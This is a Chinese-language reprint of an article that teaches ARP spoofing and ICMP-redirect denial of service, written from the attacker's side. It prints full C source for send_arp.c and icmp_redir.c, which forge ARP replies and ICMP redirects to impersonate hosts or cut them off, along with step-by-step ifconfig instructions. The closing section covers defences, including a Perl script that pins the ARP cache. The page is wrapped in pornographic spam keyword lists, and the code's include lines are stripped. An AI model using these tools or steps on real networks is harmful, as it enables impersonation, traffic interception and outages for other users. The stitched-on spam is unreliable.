精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

ARP和ICMP欺騙造就新式DoS工具

安全 黑客攻防
對于旁觀者來說,事物的缺點和優點往往是同時存在的。我很高興可以向你們顯示兩個正規的協議——arp和icmp,當你用一些特殊的方法使用它們的時候,卻得到意想不到的結果。

對于旁觀者來說,事物的缺點和優點往往是同時存在的。我很高興可以向你們顯示兩個正規的協議——arp和icmp,當你用一些特殊的方法使用它們的時候,卻得到意想不到的結果。

相對于被動攻擊(網絡監聽sniffing)來說,主動攻擊使用的并不普遍——許多管理員都擁有一個網絡監聽工具,幫助他們管理局域網。在你的LAN中,主動攻擊將會給你的生活添加光彩和樂趣。你知道,僅僅是一些技術細節使得這些角落有些昏暗不明。那么,我們去看看那里究竟有些是什么。

我們首先描述一下網絡欺騙(spoofing)和拒絕服務(DoS-deny of service)。象IP盲攻擊一樣,網絡攻擊常常非常普通并且功能強大,但是對使用者來說,需要做大量的工作(常常是猜),而且難于實行。但是ARP欺騙正好相反,它非常容易使用且方便。

一、ARP欺騙

ARP欺騙往往應用于一個內部網絡,我們可以用它來擴大一個已經存在的網絡安全漏洞。如果你可以入侵一個子網內的機器,其它的機器安全也將受到ARP欺騙的威脅。

讓我們考慮一下的網絡結構

IP        10.0.0.1  10.0.0.2  10.0.0.3  10.0.0.4
hostname   cat     rat      dog     bat
hw addr  AA:AA    BB:BB    CC:CC    DD:DD

所有的主機在以太網中以簡單的方式進行連接(沒有交換機,智能HUB)。你是cat,你具有root權限,你的目標是侵入dog。而你知道dog信任rat,所以如果你能偽裝成rat,那么你就能獲得一些意外的東西。

也許你首先想到的是,“為什么我不把我的IP設成rat的,然后...”,這種方式無法工作,無法可靠的工作。如果你將cat的IP設置成10.0.0.2,那么cat將以這個IP回答ARP請求。但是rat也會的。這樣你們就進入了一個純粹的競爭狀態,而這場比賽沒有贏家。相反的,你會輕易的輸掉這場比賽,因為許多工具會立即發現這種IP沖突的現象,抱怨之聲隨之而來。一些網絡交通分析工具還常常對它進行紀錄。在網絡管理員的日志文件中還會保留一條惡心的紀錄(cat的物理地址),這可不是你想要的。你的不到你想要的東西,并且與你的目標背道而馳。

這個東西是你想要的,一個攻擊程序——send_arp.c,一個非常有效的工具。正如它的名字所示,它發送一個ARP包(ARP回答,準確的說:由于這個協議是無狀態的,即使在沒有請求的時候也可以做出應答。請求同應答是一樣的。)向網絡上,你可以把這個包做成你想要的樣子。而你想要的只不過是可以去定制源IP與目的IP,還有硬件地址。

當你進行ARP欺騙的時候,你不希望你的網卡亂說話,那么你可以用“ifconfig eth0 -arp”關掉你的ARP協議。當然,無論如何你都需要ARP的信息,手動的構建它并使它發向內核。重要的事你要獲得你周圍人們的信任。在這個例子中,你希望dog認為rat的硬件地址是AA:AA(cat),所以你發送一個ARP應答,它的源地址是10.0.0.2,源硬件地址是AA:AA,目標地址是10.0.0.3和目標硬件地址是CC:CC?,F在,dog完全相信rat的硬件地址是AA:AA。當然dog中緩存會過期,所以它需要更新(重新發送請求)。多長時間發出請求,各個操作系統不同,但是大多來說是40秒鐘左右。經常發送ARP應答,這對你來說不會有壞處的。

對于ARP緩存處理方法的不同會帶來問題的復雜性。一些操作系統(例如Linux)會用向緩存地址發非廣播的ARP請求來要求更新緩存(就象你妻子打電話來看你在不在一樣)。這種緩存更新會給你增加麻煩,會使你剛剛偽造的ARP緩存被更改掉,所以必須避免此事發生。經常的向dog發出應答數據,這樣它就不會發出請求。正是預防為主。對于rat來說,它根本就沒有機會來改變這一切。

所以過程是簡單的。首先來設置網絡接口別名(ifconfig eth0:1 10.0.0.2),添加rat的IP地址并且打開ARP協議(ifconfig eth0 arp)——你需要設置你的ARP緩存,當沒有ARP時,它不會工作。然后在正確的網絡接口上設置到dog的路由。再設置dog的ARP緩存。最后,關掉網絡接口的ARP功能。這樣一切就OK了。

現在,當你用send_arp將毒液注入之后(dog和rat),那么,dog就會認為,你就是rat。一定要記住,要持續不斷的向dog和rat發出ARP包。這種攻擊方式就僅僅工作在局域網內(通常的,ARP包是不會路由的)。一個有趣的嘗試是,把我們上述試驗中dog替換成路由器,如果可以實現的話(我不確定它是否會永遠成立,路由器的ARP功能不是那么容易欺騙的),你可以輕易的冒充這個局域網內的機器去欺騙這個Internet世界了。所以目標可以是任何一臺機器,但是你要偽裝的機器,必須是這個局域網內的。除了欺騙以外,你還可以用ARP作很多事。藍天之下,皆可任你遨游。或者,DoS也是一個非常有用的程序。

給rat一個錯誤的硬件地址,是一個非常有效的讓它閉嘴的方法。你可以避免它向一些特殊的機器發出請求(一個ARP緩沖池通??梢匀堇ㄕ麄€網絡的內容,所以你可以在一段時間內有效的防止它向其它機器發出請求)。非常明顯目標也可以是一臺路由器。干擾緩存需要兩步:攪亂被偽裝的機器和你不希望它與之通訊的機器。這種方法不是常常奏效,當這臺機器發現緩存中沒有目標機器時,會主動發出ARP請求。

當然你的下一滴毒液會迅速注入,但是你需要經常維持這種狀態。一個比較有效的方法是,給rat一個錯誤的dog硬件地址,這樣rat既能保持正常的工作狀態,又不會干擾你的活動。同樣的,這種方法也依賴于不同的環境,通常的情況是rat會經常的向錯誤的目標發出各種不同的包,目標會返回ICMP不可抵達信息,從而用一種不正當的方式維持了連接。這種偽裝的連接可以推遲緩存的更新時間。在Linux上,我們可以是更新時間從1分鐘提升到10分鐘。在這一段時間內,你已經可以完成一個TCP連接可以完成的大多數事情了。

這里存在一個有趣被稱為“無理ARP”。在這個ARP請求包中,源IP與目的IP是相同的,通常它是經過以太網廣播進行發送。一些執行程序認為這是一種特殊情況——系統發出的自身更新信息,并且將這個請求添加在自己的緩存中。這種方式里,影響的是整個網絡。這是毋庸置疑的,但這并不是ARP協議的一部分,而是由執行者決定是否作(或是不作),這漸漸的變得不受人歡迎。

ARP也可以用來開一些非常專業的笑話。假想一下某人設置了一個中繼器或者是一個管道,僅僅是利用自己的機器去騙取兩臺相鄰機器的信任,并且把通訊的包都發給這臺機器。如果這臺機器僅僅是轉發數據,那么誰也不會發現。但是當它僅僅作一些很少的改動時,就會給你添加非常大的麻煩。例如,隨機的更改數據包中的幾位,這樣就會造成校驗和錯誤。數據流好像是毫發無損,卻會毫無原因的出現不可預料的錯誤。

二、ICMP重定向

另外一個比較有效的并且類似與ARP欺騙的手段是利用另外一個正常的協議——ICMP重定向。這種重定向通常是由你的默認路由器發來的,通告你有一個到達某一網絡的更近的路由。最初,既可以通告網絡重定向,也可以通告主機的重定向,但是現在,由于網絡重定向被否決,僅剩下了主機重定向。正確的制作一個經過完整檢查的ICMP包(必須由默認路由器發來,發向重定向機器,新的路由應該是一個網絡的直接連接等等),接收者會對系統的路由表進行更新。

這是ICMP的安全問題。偽裝一個路由器的IP地址是簡單的,icmp_redir.c正是作的這個工作。RFC聲明系統必須遵循這個重定向,除非你是路由器。實際上幾乎所有的系統都支持這一點(除了vanilla Linux 2.0.30)。

ICMP重定向提供了一個非常有力的DoS工具。不像ARP緩存更新,路由表不存在的過期問題。并且不需要在本地網絡,你可以發起攻擊從任何地方。所以當目標接受了ICMP重定向之后(包確切抵達),目標就不會再和網絡上的一些機器進行通訊(是的,并不是所有的機器,但是一些與目標機器不在同一個網絡上的機器)。域名服務器會是一個非常好的攻擊目標。

/* send_arp.c
    這個程序發送ARP包,由使用者提供源/目的IP和網卡地址。編譯并運行在Linux環境下,
也可以運行在其它的有SOCK_PACKET的Unix系統上。
    這個程序是對上述理論的驗證,僅此而已。
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet.\n
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
    perror("socket");
    exit(1);
    }

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
    perror("sendto");
    exit(1);
    }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
    if( (hostp = gethostbyname(str)))
        bcopy(hostp->h_addr,in_addr,hostp->h_length);
    else {
        fprintf(stderr,"send_arp: unknown host %s\n",str);
        exit(1);
        }
    }
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf = val << 4;
    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf++ |= val;

    if(*str == ':')str++;
    }
}

/* icmp_redir.c
    本程序由用戶提供的網關地址發送了一個ICMP主機重定向數據包。在Linux2.0.30上測試通過,并且對大多數的Unix機器有效。
    這個程序是對上述理論的驗證,僅此而已。
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define IPVERSION 4

struct raw_pkt {
    struct iphdr ip; /* This is Linux-style iphdr.
                Use BSD-style struct ip if you want */
    struct icmphdr icmp;
    struct iphdr encl_iphdr;
    char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.
yuri volobuev'97\n
\tusage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
    perror("socket");
    exit(1);
    }

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
    sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
    sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
    perror("setsockopt: IP_HDRINCL");
    exit(1);
    }

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
    perror("sendto");
    exit(1);
    }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
    if( (hostp = gethostbyname(str)))
        return *(unsigned long int*)(hostp->h_addr);
    else {
        fprintf(stderr,"unknown host %s\n",str);
        exit(1);
        }
    }
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
    sum += *addr++;
    len -= 2;
    }
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

三、解決方案

對于大多數人來說,ARP是一個隱藏的底層協議。你可以時不時的觀察它,但是平常不會有人對它發生興趣。你可以用arp命令來檢查你的ARP緩存,但是當一個網絡出現問題的時候,這個并不是我們首先想到的。Windows也存在這個命令,記住這一點也許對你有幫助。但是當一個ARP欺騙通過網關從另一個網絡發向你時,恐怕你也無能為力了。同樣的,你也可以在你的路由表中發現重定向的路由信息(route 命令,用“D”標志來標明)。

ARP攻擊設計來攻擊10Base2以太網。如果網絡已一些比較先進的方式進行連接,通常是智能HUB或交換機,那么攻擊就很容易被發現,甚至是不可能的(類似于被動攻擊)。所以這是一個向你的老板要求更新網絡設備的理由。

這么想起來,ICMP重定向真是一個非常瘋狂的想法。首先,一些網絡的結構非常簡單,對路由表不需要任何添加;其次,大多數的穩定的網絡上,僅僅是用手動的辦法來更新路由。這并不是一個經常更新的工作,為什么要通過ICMP呢?最后,這個對于你來說是非常危險的,你可以在你的系統上關閉ICMP重定向,這樣可以減少同RFC1122的沖突。哎,這可不容易呀!在Linux這種提供源碼的機器上,你可以重新編譯內核。在Irix 6.2和一些其它的系統上,可以“set icmp_dropredirects=1”。這與其它的OS,我也不知道有什么辦法。

時間證明了這個真理:不要信任未確認的主機。否則,網絡上帝不會對你施予憐憫的。 一些人認為“我有防火墻,我怕誰”,認為一些安全問題對它來說無關緊要。我承認防火墻的作用,但是這并不是經常有效。

想象這樣一個環境,所有的機器都直接與Internet相連,你不得不與你不了解的人共用你的內部網,他們使用的是vanilla SGI 的機器,而他們簡直是在到處告訴別人“來攻擊我吧,我的買主使它非常簡單”(是這樣的,那些人認識Unix,從侏羅紀公園...),另外,通向你的路由器由別的機構控制。讓我們來到一個標準的網絡環境,它會提供我們安全,不受外部的攻擊。人們在這里工作,使用電腦。同樣,這里的每臺機器也存在安全問題。所以,當你下一次提到防火墻的時候,請記住它并不能保護每一個人。

John Goerzen提供了一個Perl腳本,可以在系統啟動時運行。它主要是在Linux機器中維持一個已知的IP地址與硬件地址的緩存,設置標志,以使其不會被更新和改變。配置文件非常簡單——IP addr 配 MAC addr,用空格鍵分割,“#”作為注釋。

這個腳本僅僅在Linux機器上測試過——在其它平臺上的人需要修改arp命令的格式。

注意:腳本需要運行在網絡接口啟動之后,服務和客戶運行之前;另外,一些人會在ARP被鎖定時竊取連接。以下是它的腳本:

#!/usr/bin/perl
# Program: forcehwaddr
# Program to run ARP to force certain tables.

# Specify filenames to read from on command line, or read from stdin.

foreach (<>) { # For each input line....
chomp; # Strip if CR/LF
if (/^#/) { next; } # If it's a comment, skip it.
if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) &&
    !(/^#/)) {
    # The text between the slashes parses the input line as follows:
    # Ignore leading whitespace. (\s*)
    # Then, start matching and put it into $host ($host, (.+?))
    # Skip over the whitespace after that (\s+)
    # Start matching. Continue matching until end of line or optional
    # trailing whitespace.

    # Then, the if checks to see that both a
    # host and a hardware address were matched.
    # (2 matches). If not, we skip the
    # line (assuming it is blank or invalid or something).
    # The second part of the if checks to see if the line starts with
    # a pound sign; if so, ignore it (as a comment).

    # Otherwise, run the appropriate command:
    printf("Setting IP %-15s to hardware address %s\n", $host, $hw);
    system "/usr/sbin/arp -s $host $hw\n";
}
}

 

責任編輯:王文文 來源: qqcheng.cublog.cn
相關推薦

2019-10-31 08:43:43

ICMPARP協議ARP欺騙

2012-12-13 10:34:35

ARP欺騙

2013-09-17 09:08:07

ARP欺騙IP

2010-06-21 17:51:53

Linux Arp命令

2010-01-11 10:46:31

2013-04-01 10:12:39

2010-09-16 15:39:18

2011-04-06 10:23:46

2013-09-18 09:27:57

2010-09-07 10:44:14

2009-12-17 10:14:14

2009-01-11 10:30:00

2010-07-06 16:22:01

2010-06-12 17:33:31

2010-08-20 10:41:43

2009-07-15 20:44:17

2009-07-13 11:47:58

2010-08-03 11:08:57

2010-08-02 15:02:00

2009-12-25 15:38:46

點贊
收藏

51CTO技術棧公眾號

国产精品直播网红| 日韩中文字幕免费视频| 日韩在线xxx| 1769在线观看| 国产激情一区二区三区四区| 欧美精品电影在线| 欧美激情aaa| 久久免费福利| 色哟哟亚洲精品| 久久免费视频2| 国产又爽又黄网站亚洲视频123| 视频在线在亚洲| 色综合久久久久久中文网| 中文字幕在线观看网址| 国产精品**亚洲精品| 狠狠做深爱婷婷久久综合一区| 亚洲午夜在线观看| 日本大片在线观看| 国产精品一区二区三区99| 欧洲美女免费图片一区| 欧美黄色免费看| 日韩在线理论| 亚洲美女性生活视频| 中文字幕avav| 亚洲伊人伊成久久人综合网| 狠狠爱在线视频一区| 日本福利视频导航| 国产在线日本| 久久亚洲一区二区三区四区| 91在线短视频| 97超碰人人草| 理论片日本一区| 欧美专区在线播放| 国产精品成人久久| 欧美91精品| www.国产精品一二区| 四虎永久免费在线观看| 久久大胆人体视频| 精品国产乱码久久久久久蜜臀 | 成人影院www在线观看| 久久久久久久网| 国产精品对白刺激久久久| 国产精品丝袜黑色高跟鞋| 欧美aaa在线| 国产精品九九九| 无码人妻久久一区二区三区不卡| 国产精品老牛| 欧美在线不卡区| www.国产色| 性一交一乱一区二区洋洋av| 91精品国产91| 成人免费a视频| 亚洲综合二区| 热99精品里视频精品| 日韩精品在线免费视频| 国产精品社区| 日本国产高清不卡| 日韩久久久久久久久久| 日本不卡123| 国产日韩在线视频| 国产美女主播在线观看| 国产麻豆成人传媒免费观看| av蓝导航精品导航| 色婷婷激情五月| 91女厕偷拍女厕偷拍高清| 九色91视频| 九色在线视频| 国产精品久久久久aaaa| av中文字幕av| а√在线天堂官网| 色婷婷av一区二区三区gif| 成年人免费大片| 日韩av中字| 欧美性xxxxx极品少妇| av亚洲天堂网| 福利片在线一区二区| 亚洲国产成人久久| 久久久久久成人网| 自拍偷拍欧美| 18性欧美xxxⅹ性满足| 天堂网一区二区| 久久成人av少妇免费| 高清不卡日本v二区在线| 香蕉久久国产av一区二区| 久久青草国产手机看片福利盒子| 亚洲欧洲日夜超级视频| 主播国产精品| 日韩欧美在线中文字幕| 日韩肉感妇bbwbbwbbw| 亚洲va欧美va人人爽成人影院| 精品91自产拍在线观看一区| 免费视频91蜜桃| 一区二区三区网站| 日本高清久久天堂| 国产成人精品a视频| 91色视频在线| 日韩最新中文字幕| 中文日产幕无线码一区二区| 欧美区视频在线观看| www.男人天堂| 婷婷成人基地| 国产99久久精品一区二区| 性生活视频软件| 国产欧美一区二区三区鸳鸯浴 | 国产精品一 二 三| 777电影在线观看| 精品久久久久久久久久ntr影视| 久久99999| 日本精品影院| 九九热这里只有在线精品视| 成人小视频在线播放| 成人动漫一区二区| 伊人久久大香线蕉午夜av| www.精品| 亚洲国产成人精品久久| 真实国产乱子伦对白在线| 日韩av二区在线播放| 国产美女在线精品免费观看| 国产最新在线| 欧美系列日韩一区| 人妻大战黑人白浆狂泄| 亚洲精品裸体| 99视频免费观看| 免费网站黄在线观看| 91久久精品一区二区三| 国产网站无遮挡| 国产精品扒开腿做爽爽爽软件| 国产免费一区二区三区在线能观看 | 日日夜夜天天综合| 亚洲韩国欧洲国产日产av| 少妇被躁爽到高潮无码文| 免费人成精品欧美精品| 欧美日韩日本网| 九九精品调教| 日韩一级大片在线| 黑鬼狂亚洲人videos| 六月丁香婷婷久久| 亚洲高清乱码| 久久免费资源| 最近2019年中文视频免费在线观看| 欧美精品一二三四区| 91在线视频18| 欧美三级午夜理伦三级| 清纯唯美亚洲经典中文字幕| 91国产精品视频在线| 色香蕉在线视频| 香港成人在线视频| 熟女丰满老熟女熟妇| 久久福利影视| 少妇精品久久久久久久久久| 成人免费av电影| 伊人久久久久久久久久久| 日本黄色中文字幕| 中国av一区二区三区| 色综合天天色综合| 天天久久综合| 亚洲xxx大片| 亚洲电影视频在线| 亚洲成人性视频| wwwwww国产| 国产日韩欧美精品一区| 五月花丁香婷婷| 欧美国产91| 国产嫩草一区二区三区在线观看| 成人观看网址| 亚洲人午夜精品| 中文字幕日日夜夜| 一区二区三区四区高清精品免费观看 | 无颜之月在线看| 哺乳挤奶一区二区三区免费看| 国自在线精品视频| 欧美美女搞黄| 7777精品伊人久久久大香线蕉的 | 伊人手机在线视频| 国产欧美精品一区| 日本网站在线看| 一区在线视频观看| 欧美国产综合视频| 日韩久久99| 久久久久久伊人| 国产在线一在线二| 日韩写真欧美这视频| www.国产成人| 国产精品国产三级国产aⅴ入口| 久久无码人妻一区二区三区| 亚洲女同在线| 色撸撸在线观看| 欧美一区二区三区久久| 国产精品亚洲精品| 波多野结衣在线高清| 伊人亚洲福利一区二区三区| 国产高清视频免费观看| 欧美性精品220| 国内偷拍精品视频| 久久久亚洲精品石原莉奈| 黄色一级片免费播放| 校园激情久久| 警花观音坐莲激情销魂小说| 综合国产视频| 翡翠波斯猫1977年美国| 日本欧美在线| 日韩av手机在线看| 欧洲中文在线| 日韩日本欧美亚洲| 欧美美乳在线| 亚洲电影免费观看高清完整版在线观看 | 日韩系列在线| 国产精品成人av在线| av漫画网站在线观看| 色系列之999| 免费播放片a高清在线观看| 日韩一区二区三区精品视频| 综合网在线观看| 亚洲一区二区av电影| 久久久久久久麻豆| 久久精品视频免费| 制服丝袜第一页在线观看| 精品一区二区三区av| 久久人妻精品白浆国产| 亚洲欧洲视频| 日韩视频 中文字幕| 日本欧美视频| 欧美精品成人一区二区在线观看| 4438全国亚洲精品观看视频| 国产精品亚发布| 日韩漫画puputoon| 国产精品99久久久久久www| 免费v片在线观看| 久久久久久有精品国产| 日韩三级免费| 久久国产精品视频| 免费黄色在线看| 日韩中文字幕视频在线观看| www.亚洲视频| 国产一区二区三区18| 裸体xxxx视频在线| 亚洲欧美中文日韩v在线观看| 少妇人妻一区二区| 亚洲国产黄色片| 蜜桃视频久久一区免费观看入口| 日韩视频免费观看高清完整版 | 欧美成人性福生活免费看| 国产精品国产三级国产普通话对白| 欧美伊人精品成人久久综合97| 精品一区二区无码| 欧美日韩中文字幕精品| 真实的国产乱xxxx在线91| 欧美揉bbbbb揉bbbbb| 在线视频欧美亚洲| 欧美久久久影院| 国产精品久久久久久在线| 91麻豆精品国产91久久久久久久久| 在线观看中文字幕2021| 欧美日韩不卡在线| 国产精品久久久国产盗摄| 欧美一区二区三区精品| 午夜精品久久久久久久99热黄桃 | 在线国产欧美| 波多野结衣家庭教师视频| 毛片一区二区| 亚洲精品20p| 国产成人小视频| 亚洲一区二区三区四区五区六区| 91麻豆国产精品久久| av电影网站在线观看| 中文字幕va一区二区三区| 国产美女福利视频| 亚洲一区二区三区四区五区中文 | 欧美精品xxxxbbbb| 国产99久一区二区三区a片 | 国产黄色三级网站| 久久女同性恋中文字幕| 午夜黄色福利视频| 一区二区视频在线| 国产在线视频第一页| 欧美性jizz18性欧美| 在线观看视频中文字幕| 日韩精品一区二区三区视频在线观看 | 日韩无码精品一区二区三区| 狠狠爱在线视频一区| 亚洲视频一区在线播放| 精品免费视频一区二区| 黄色在线免费观看大全| 久久午夜a级毛片| 僵尸再翻生在线观看| 国产精品入口免费视| 亚洲日本视频在线| 日韩av免费电影| 欧美黄色免费| 熟妇人妻va精品中文字幕| 国内精品视频一区二区三区八戒 | 精品久久人妻av中文字幕| 精品在线小视频| 91精品久久| 日韩美女毛茸茸| a看欧美黄色女同性恋| 色播五月综合| 99在线热播精品免费99热| 在线看的黄色网址| 99综合电影在线视频| 可以免费看av的网址| 欧美视频专区一二在线观看| 一区二区三区亚洲视频| 国产视频精品一区二区三区| 黄网站在线播放| 奇米一区二区三区四区久久| 欧美精品三级在线| 日韩一区不卡| 国产精品视频久久一区| 国产又黄又嫩又滑又白| 亚洲国产成人私人影院tom| 国产精品久久久免费视频| 欧美一区二区三区视频| 成人免费视频| 日本午夜人人精品| 爱高潮www亚洲精品| 亚洲国产精品影视| 麻豆国产精品官网| 久操视频免费看| 午夜精品福利一区二区蜜股av| 国产欧美熟妇另类久久久 | 亚洲精品在线视频| 啦啦啦中文在线观看日本| 91精品视频在线免费观看| 欧美日韩国产免费观看视频| 日韩精品视频久久| www.一区二区| 日本亚洲色大成网站www久久| 日韩一区和二区| 国产黄色小视频在线| 国产欧美日韩高清| 菠萝蜜一区二区| 亚洲天堂av线| 亚洲国产精品高清| 成人毛片一区二区三区| 亚洲人成人99网站| 国产精品亚洲一区二区三区在线观看| 精品国产乱码久久久久久久软件 | 亚洲 欧美 精品| 性视频1819p久久| 欧美黑白配在线| 免费无码不卡视频在线观看| www.欧美.com| 日韩网红少妇无码视频香港| 亚洲韩国欧洲国产日产av| 日韩欧美精品一区二区三区| 久久99精品国产99久久| 国产精品久久久久久模特| 素人fc2av清纯18岁| 色综合久久88色综合天天| 你懂的视频在线免费| 国产精品扒开腿做爽爽爽男男 | 日韩三区视频| 日本成人在线免费视频| 国产欧美日韩视频在线观看| 黄色污污视频软件| 中文字幕国产精品| **精品中文字幕一区二区三区| 小说区视频区图片区| 国产精品一区免费视频| 日韩和一区二区| 亚洲三级黄色在线观看| 成人在线中文| 亚洲五码在线观看视频| 波多野结衣91| 国产亚洲欧美日韩高清| www.国产精品一二区| 天堂va在线高清一区| 少妇高潮喷水在线观看| 久久久久久免费毛片精品| 在线观看视频中文字幕| 欧美福利视频网站| 亚洲影院天堂中文av色| 亚洲综合日韩欧美| 一区二区三区国产| 青青草手机在线| 成人激情在线观看| 制服诱惑一区二区| 四虎国产精品成人免费入口| 7777精品伊人久久久大香线蕉| bl在线肉h视频大尺度| 日本精品一区二区| 国产精品一级片| 久草视频一区二区| 久久久999国产精品| 精品福利一区| 2025韩国理伦片在线观看| 亚洲国产一区视频| av资源种子在线观看| 成人激情直播| 久久亚洲一区| 久久中文字幕无码| 在线中文字幕日韩| jizz18欧美18| 久久久久久久久久久久久久久国产 | 亚洲毛片在线免费观看| 在线视频成人| 国产激情在线观看视频| 一区二区欧美在线观看| 97人人在线|